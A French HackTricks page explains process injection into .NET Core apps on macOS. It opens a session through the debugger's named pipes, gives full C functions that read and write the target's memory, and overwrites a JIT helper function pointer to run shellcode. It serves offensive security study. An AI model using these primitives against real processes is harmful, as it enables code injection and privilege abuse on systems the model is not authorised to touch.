hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

12 KiB

Injection d'applications .Net sur macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Débogage de .NET Core

Établir une session de débogage

dbgtransportsession.cpp est responsable de la gestion de la communication entre le débogueur et le débogueur.
Il crée deux tubes nommés par processus .Net dans dbgtransportsession.cpp#L127 en appelant twowaypipe.cpp#L27 (l'un se terminera par -in et l'autre par -out et le reste du nom sera identique).

Ainsi, si vous accédez au répertoire $TMPDIR de l'utilisateur, vous pourrez trouver des fifos de débogage que vous pourrez utiliser pour déboguer des applications .Net :

La fonction DbgTransportSession::TransportWorker gérera la communication à partir d'un débogueur.

La première chose qu'un débogueur doit faire est de créer une nouvelle session de débogage. Cela se fait en envoyant un message via le tube de sortie commençant par une structure MessageHeader, que nous pouvons récupérer à partir de la source .NET :

struct MessageHeader
{
MessageType   m_eType;        // Type of message this is
DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
DWORD         m_dwId;         // Message ID assigned by the sender of this message
DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
DWORD         m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;

BYTE                    m_sMustBeZero[8];
}

Dans le cas d'une nouvelle demande de session, cette structure est remplie comme suit:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

Une fois construit, nous l'envoyons à la cible en utilisant l'appel système write:

write(wr, &sSendHeader, sizeof(MessageHeader));

Suivant notre en-tête, nous devons envoyer une structure sessionRequestData qui contient un GUID pour identifier notre session :

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

Après avoir envoyé notre demande de session, nous lisons depuis le tube out un en-tête qui indiquera si notre demande d'établissement d'une session de débogage a été réussie ou non :

read(rd, &sReceiveHeader, sizeof(MessageHeader));

Lire la mémoire

Avec une session de débogage établie, il est possible de lire la mémoire en utilisant le type de message MT_ReadMemory. Pour lire une partie de la mémoire, le code principal nécessaire serait :

bool readMemory(void *addr, int len, unsigned char **output) {

*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

memset(*output, 0, len);

// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}

return true;
}

Le code de preuve de concept (POC) se trouve ici.

Écrire dans la mémoire

bool writeMemory(void *addr, int len, unsigned char *input) {

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Write the data
if (write(wr, input, len) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

return true;

}

Le code POC utilisé pour cela peut être trouvé ici.

Exécution de code .NET Core

La première chose à faire est d'identifier, par exemple, une région de mémoire avec rwx en cours d'exécution pour enregistrer le shellcode à exécuter. Cela peut être facilement fait avec :

vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"

Ensuite, pour déclencher l'exécution, il serait nécessaire de connaître un endroit où un pointeur de fonction est stocké pour le remplacer. Il est possible de remplacer un pointeur dans la Table dynamique des fonctions (DFT), utilisée par le runtime .NET Core pour fournir des fonctions d'aide à la compilation JIT. Une liste des pointeurs de fonction pris en charge peut être trouvée dans jithelpers.h.

Dans les versions x64, cela est simple en utilisant la technique de recherche de signature similaire à mimikatz pour rechercher dans libcorclr.dll une référence au symbole _hlpDynamicFuncTable, que nous pouvons déréférencer :

Il ne reste plus qu'à trouver une adresse à partir de laquelle commencer notre recherche de signature. Pour cela, nous exploitons une autre fonction de débogueur exposée, MT_GetDCB. Cela renvoie plusieurs informations utiles sur le processus cible, mais dans notre cas, nous nous intéressons à un champ renvoyant l'adresse d'une fonction d'aide, m_helperRemoteStartAddr. En utilisant cette adresse, nous savons exactement libcorclr.dll est situé dans la mémoire du processus cible et nous pouvons commencer notre recherche de la DFT.

En connaissant cette adresse, il est possible de remplacer le pointeur de fonction par notre propre shellcode.

Le code POC complet utilisé pour l'injection dans PowerShell peut être trouvé ici.

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥